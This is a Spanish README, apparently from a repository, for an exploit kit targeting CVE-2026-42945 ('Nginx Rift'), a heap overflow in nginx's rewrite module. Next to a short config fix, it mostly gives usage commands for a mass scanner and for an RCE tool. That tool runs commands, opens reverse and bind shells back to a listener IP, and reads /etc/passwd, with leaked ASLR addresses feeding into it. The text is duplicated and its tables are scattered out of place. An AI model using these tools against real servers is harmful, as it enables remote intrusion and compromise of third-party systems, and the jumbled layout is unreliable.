
CVE-2026-42945 Nginx Rift
Un kit completo de prueba de concepto para CVE-2026-42945 (Nginx Rift), una vulnerabilidad crítica de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-42945 |
| Nombre | Nginx Rift |
| Tipo | Desbordamiento de búfer en el montón |
| Componente | ngx_http_rewrite_module |
| Gravedad | Crítica (CVSS 9.2) |
| Afectado | Nginx 0.6.27 - 1.30.0 |
| Parcheado | Nginx 1.30.1 / 1.31.0 |
La vulnerabilidad existe debido a un cálculo incorrecto del tamaño entre dos pasadas internas al procesar reglas de reescritura. Si una configuración utiliza:
$1, $2, etc.)?Nginx calcula mal el tamaño del búfer requerido durante la primera pasada y escribe más allá del búfer asignado en el montón durante la segunda pasada.
server {
# VULNERABLE: Captura sin nombre ($1) + '?' en el reemplazo
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SEGURA: Captura con nombre (?P<path>) reemplaza a $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - Herramienta PoC PrincipalHerramienta de escaneo y explotación de vulnerabilidad para un solo objetivo.
Características:
ServerUso:
# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com
# Probar con carga personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generar configuración segura (parcheada)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - Escáner MasivoEscáner por lotes para probar múltiples objetivos simultáneamente.
Características:
Uso:
# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Escanear un rango de red
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# Escaneo de alta velocidad
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato del archivo de objetivos:
# Los comentarios comienzan con #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - Analizador de ConfiguraciónEscanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.
Características:
nginx.conf y seguir directivas include? en cadenas de reemplazoUso:
# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf
# Escanear directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/
# Corregir automáticamente patrones vulnerables (crea copia de seguridad .bak)
python config_checker.py --fix /etc/nginx/nginx.conf
# Detectar automáticamente rutas comunes de Nginx
python config_checker.py
enhanced_poc.py - PoC RCE MejoradoHerramienta de explotación avanzada basada en la investigación oficial de depthfirst, que soporta múltiples patrones de reescritura y modos de explotación.
Características:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s falsoUso:
# Detectar automáticamente patrones y versión
python enhanced_poc.py -t target.example.com --detect
# Ejecutar comando (ASLR desactivado)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Base de montón personalizada (para objetivos sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Detalles del Modo de Explotación:
Configuración de Direcciones (solo sin ASLR):
--heap-base: Base del montón del objetivo (ej. 0x555555559000)--libc-base: Dirección base de libc (ej. 0x7ffff77ba000)--system-addr: Dirección directa de system() (anula libc-base)aslr_leak_detector.py - Detector de Fugas ASLREscáner completo para detectar fugas de información que pueden eludir la protección ASLR.
Características:
/nginx_status, /actuator/*, etc.)enhanced_poc.py mediante informe JSONUso:
# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com
# Escanear con SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Escanear desde archivo, guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Escanear rango de red
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Modo de escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick
Integración con el PoC Mejorado:
# Paso 1: Detectar fugas
python aslr_leak_detector.py -t target.example.com -o leak.json
# Paso 2: Usar direcciones filtradas para la explotación
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
La herramienta PoC identifica la vulnerabilidad mediante estos indicadores:
| Indicador | Descripción |
|---|
No se requieren dependencias externas. Solo utiliza la biblioteca estándar de Python.
# Clonar o descargar el kit
git clone <repository-url>
cd CVE-2026-42945
# Verificar la versión de Python (se recomienda 3.7+)
python3 --version
# Ejecutar cualquier herramienta
python3 nginx_rift_poc.py --help
Si no es posible parchear de inmediato, reemplace las capturas sin nombre por capturas con nombre:
# ANTES (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# DESPUÉS (SEGURO)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Implemente reglas WAF para bloquear solicitudes malformadas dirigidas a patrones de reescritura vulnerables.
Este kit está destinado únicamente para pruebas de seguridad autorizadas y fines de investigación.
Esta vulnerabilidad se descubrió junto con otros tres problemas de corrupción de memoria:
| CVE | Descripción | Gravedad |
|---|---|---|
| CVE-2026-42946 | Fallo de asignación de memoria en SCGI/UWSGI | Alta |
| CVE-2026-40701 | Use-after-free en resolución DNS para OCSP | Media |
| CVE-2026-42934 | Lectura fuera de límites en análisis UTF-8 |
Este proyecto se proporciona con fines educativos y de pruebas de seguridad autorizadas.
Autor: Equipo de Investigación de Seguridad Fecha: 2026-06-11
CVE-2026-42945 (Nginx Rift) es una vulnerabilidad de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx, que ha existido desde 2008 (Nginx 0.6.27), permaneciendo latente durante unos 18 años.
Al procesar reglas de reescritura, Nginx realiza dos análisis internos. Si la configuración cumple simultáneamente las siguientes dos condiciones:
$1, $2)?Nginx calcula incorrectamente el tamaño del búfer durante el primer análisis y, durante el segundo, escribe datos más allá del límite del búfer asignado en el montón, provocando un desbordamiento.
server {
# Con fallo: captura sin nombre $1 + ? en la cadena de reemplazo
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# Segura: usando captura con nombre (?P<name>) en lugar de $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — Herramienta PoC PrincipalHerramienta de detección y explotación de vulnerabilidades para un solo objetivo.
Funciones:
ServerEjemplos de uso:
# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com
# Probar con carga útil personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generar configuración segura (corregida)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — Escáner por LotesEscáner concurrente de múltiples hilos para escanear varios objetivos a la vez.
Funciones:
Ejemplos de uso:
# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Escanear toda una subred
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# Escaneo de alta velocidad (100 hilos)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Formato del archivo de objetivos:
# Las líneas que comienzan con # son comentarios
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — Verificador de Archivos de ConfiguraciónEscanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.
Funciones:
nginx.conf y resolver recursivamente los archivos referenciados por include?Ejemplos de uso:
# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf
# Escanear un directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/
# Corregir automáticamente configuraciones vulnerables (respaldar automáticamente el archivo original)
python config_checker.py --fix /etc/nginx/nginx.conf
# Detectar automáticamente rutas comunes de configuración de Nginx
python config_checker.py
enhanced_poc.py — PoC RCE MejoradoHerramienta de explotación avanzada basada en la investigación oficial de depthfirst, soporta múltiples patrones de reescritura y métodos de explotación.
Funciones:
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s falsoTabla de expansión de caracteres de activación de desbordamiento:
Ejemplos de uso:
# Detectar automáticamente el patrón de configuración y la versión
python enhanced_poc.py -t target.example.com --detect
# Ejecutar comando (entorno sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell (escucha en el objetivo)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Base de montón personalizada
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Descripción de los modos de explotación:
Configuración de direcciones (solo para entornos sin ASLR):
--heap-base: Dirección base del montón del objetivo (ej. 0x555555559000)--libc-base: Dirección base de libc (ej. 0x7ffff77ba000)--system-addr: Dirección directa de system() (anula libc-base)aslr_leak_detector.py — Herramienta de Detección de Fugas de Información ASLREscáner integral para detectar vulnerabilidades de fuga de información que pueden usarse para eludir la protección ASLR.
Funciones:
/nginx_status, /actuator/*, etc.)enhanced_poc.py a través de informes JSONEjemplos de uso:
# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com
# Escaneo SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Escaneo por lotes desde archivo y guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Escanear subred
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick
Uso conjunto con el PoC mejorado:
# Paso 1: Detectar fugas de información
python aslr_leak_detector.py -t target.example.com -o leak.json
# Paso 2: Usar las direcciones filtradas para la explotación
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
La herramienta PoC determina si existe una vulnerabilidad en el objetivo mediante los siguientes fenómenos:
No se requiere instalar dependencias de terceros, solo se necesita la biblioteca estándar de Python.
# Clonar o descargar el paquete de herramientas
git clone <repository-url>
cd CVE-2026-42945
# Verificar la versión de Python (se recomienda 3.7+)
python3 --version
# Ver la ayuda de la herramienta
python3 nginx_rift_poc.py --help
Reemplazar las capturas sin nombre por capturas con nombre:
# Antes de la modificación (con fallo)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# Después de la modificación (seguro)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Implementar reglas de firewall de aplicaciones web para interceptar solicitudes maliciosas dirigidas a patrones de reescritura vulnerables.
Este paquete de herramientas es solo para pruebas de seguridad autorizadas y fines de investigación.
Esta vulnerabilidad fue descubierta por el sistema de análisis estático impulsado por IA de depthfirst, y es uno de una serie de problemas de corrupción de memoria:
| ID CVE | Descripción | Nivel |
|---|---|---|
| CVE-2026-42946 | Defecto de asignación de memoria en SCGI/UWSGI | Alto |
| CVE-2026-40701 | UAF en resolución DNS de OCSP | Medio |
| CVE-2026-42934 | Lectura fuera de límites en análisis UTF-8 |
Este proyecto se proporciona únicamente para fines educativos y pruebas de seguridad autorizadas.
Autor: Equipo de Investigación de Seguridad Fecha: 2026-06-11
| Modo | Descripción | Salida |
|---|
cmd | Ejecutar un comando shell | Salida del comando en el objetivo |
shell | Generar una reverse shell | Se conecta de vuelta a --listen-ip:listen-port |
bind | Generar una bind shell | Escucha en --listen-port en el objetivo |
read | Leer archivo del objetivo | Contenido escrito en /tmp/nginx_rift_read |
| Conexión caída | El objetivo cierra la conexión inesperadamente (caída del worker) |
| Errores de puerta de enlace | Respuestas HTTP 502/503/504 (el proceso worker ha muerto) |
| Respuestas lentas | El tiempo de respuesta aumenta significativamente (recuperación de caída) |
| Respuestas vacías | El cuerpo de la respuesta desaparece en comparación con la línea base |
| Coincidencia de versión | La versión detectada de Nginx está en el rango vulnerable |
| Producto | Afectado | Parcheado |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Todas las versiones < parches | Actualizar a la versión parcheada |
| Nginx Gateway Fabric | Todas las versiones < parches | Actualizar a la versión parcheada |
| Media |
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-42945 |
| Nombre de la vulnerabilidad | Nginx Rift |
| Tipo de vulnerabilidad | Desbordamiento de búfer en el montón (Heap Buffer Overflow) |
| Componente afectado | ngx_http_rewrite_module |
| Nivel de peligro | Crítico (CVSS 9.2) |
| Versiones afectadas | Nginx 0.6.27 - 1.30.0 |
| Versión corregida | Nginx 1.30.1 / 1.31.0 |
| Carácter | Se expande a | Desbordamiento por carácter |
|---|
+ | %2B | +2 bytes |
& | %26 | +2 bytes |
= | %3D | +2 bytes |
% | %25 | +2 bytes |
| Espacio | %20 | +2 bytes |
| Modo | Descripción | Salida |
|---|
cmd | Ejecutar un solo comando shell | La salida del comando se guarda en el objetivo |
shell | Generar una reverse shell | Se conecta de vuelta a --listen-ip:listen-port |
bind | Generar una bind shell | Escucha en --listen-port en el objetivo |
read | Leer archivo del objetivo | El contenido se escribe en /tmp/nginx_rift_read |
| Indicador de detección | Descripción |
|---|
| Conexión interrumpida | El objetivo cierra la conexión de forma anómala (el proceso worker se bloquea) |
| Error de puerta de enlace | Devuelve HTTP 502/503/504 (el proceso worker ha muerto) |
| Respuesta más lenta | El tiempo de respuesta aumenta significativamente (reinicio automático tras bloqueo) |
| Cuerpo de respuesta vacío | En comparación con la línea base, el cuerpo de la respuesta está vacío (worker bloqueado) |
| Coincidencia de versión | La versión detectada de Nginx está dentro del rango vulnerable |
| Producto | Versiones afectadas | Versiones corregidas |
|---|
| Nginx versión abierta | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Todas las versiones sin parche | Actualizar a la versión corregida |
| Nginx Gateway Fabric | Todas las versiones sin parche | Actualizar a la versión corregida |
| Medio |